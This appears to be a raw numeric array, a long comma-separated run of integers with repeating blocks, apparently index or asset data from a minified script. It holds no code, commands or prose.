692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,43152,37318,37318,37318,48276,40833,37318,37318,73511,37318,67919,57964,40868,40872,43155,43156,43784,40888,36991,37318,37318,41289,40924,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,40942,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,43775,37318,37318,37318,48276,37318,37318,37318,37318,69945,73273,57964,40977,41007,44794,41023,73756,40991,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,41058,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,45645,38564,57964,41115,41135,37318,41119,41135,41149,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,37301,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,62620,37318,37318,37318,48276,62315,37318,37318,42112,62617,51150,68655,68669,68671,37318,37318,74e3,41165,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,41215,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,41238,41258,37318,41242,41258,41272,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,69205,37318,62433,37318,68839,45752,41288,37301,44633,37318,37318,37318,37318,73164,72644,41305,72644,72644,41324,38775,41542,41542,58552,65498,52179,65498,65498,52319,41461,41342,41461,41461,60376,37318,37318,37318,37318,37318,37318,57380,44576,38329,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,57802,45001,37318,37318,37318,37318,37318,62575,37318,37318,71516,41385,72644,72644,72644,72645,41405,67865,41542,58857,41542,41542,46917,69302,65498,55881,65498,65498,53308,58621,41461,41722,41461,41461,47863,54854,37318,37318,37318,37318,64802,37318,37318,72642,48855,72644,72644,72644,38767,41542,41439,41542,41542,41444,65497,64981,65498,65498,65498,59803,41461,41460,41461,41461,47863,54854,37318,37318,69109,41478,37318,60498,72644,72644,70521,58547,41542,41542,60742,46770,65498,65498,73471,59798,41461,41461,70944,47288,64766,37318,37318,37507,37318,71005,72644,60920,59569,41542,41542,72922,65498,65498,48896,41461,41461,46878,37318,60844,41498,41222,67506,72644,41518,41541,58729,41559,65498,46559,41593,41462,56939,50451,37318,66947,41614,41423,73664,58829,59801,41638,49498,41664,52412,41686,41702,41738,63218,38594,66255,64873,73961,46828,73161,59759,73663,59797,47605,39543,41802,41825,41848,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,45787,57964,41925,72170,37318,38278,38288,41945,36991,37318,37318,41289,37087,37318,37318,41981,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,69382,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,42002,37318,37318,37318,45026,37318,37318,37318,37318,37318,67919,57964,42022,71555,37318,43019,43028,71570,36991,37318,37318,41289,37087,37318,37318,37010,42042,37318,73045,37318,37318,65657,40192,38525,37318,37318,39335,40192,45833,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,42061,37318,37318,37318,48276,37318,37318,37318,37318,37318,50713,57964,37318,37318,37318,38993,38997,42078,42128,37318,37318,41289,37087,37318,37318,42147,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,42168,62003,69205,37318,37318,37318,68839,37318,37318,39275,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,41324,41542,41542,41542,58552,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,42190,37318,37318,37318,37318,37318,42212,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,67436,42249,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72187,38772,41542,41542,41542,41542,41542,72266,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,42270,41542,41542,41542,41542,49331,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,63809,37318,37318,37318,49242,42389,37318,37318,42312,41767,44524,59934,42356,42367,45136,42383,44513,42405,42445,37318,37318,40926,42420,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,44142,43528,42807,74542,43714,44329,37031,44584,37054,42466,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,42495,44053,42520,44234,42536,42631,42566,42582,42617,43323,74548,42732,42652,43181,43457,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,74695,44148,43301,42504,44146,43812,43314,42636,43906,44107,42807,42594,42699,42706,42722,43750,42901,42677,43141,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,42748,42962,43618,43603,43820,43354,42764,44271,43892,42788,42804,42826,43918,42855,43210,42882,42898,42920,44134,44337,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,42949,44040,42992,42978,43271,43008,43044,42839,43084,44099,43110,43126,43172,43197,43740,43442,43226,43242,38263,37318,38304,37318,38354,38370,45231,38397,38413,43259,44205,43287,43339,74705,42601,43379,43395,43411,42683,43427,43493,43509,57783,51848,38545,38580,73050,38677,38610,43544,43363,43588,43648,42772,43664,43059,43680,43709,43730,43766,38739,38791,38841,38876,38942,38892,43800,43836,43632,43878,43941,43957,42665,43973,43989,39013,39048,39078,44025,44069,44085,43094,44123,43693,44164,39249,55484,44195,43559,43068,43925,39327,39819,44240,42810,42904,39356,44221,43849,44282,42866,45051,43520,43862,42933,39494,44256,44298,44314,39590,43572,44353,42550,44369,44420,44431,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37091,37318,37318,37318,48276,39140,44447,37318,67184,67184,50155,62190,71955,71957,37318,37089,71946,44465,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,44502,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38381,36956,50180,37398,37414,37436,50351,44540,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,44565,57770,38317,37757,37779,37822,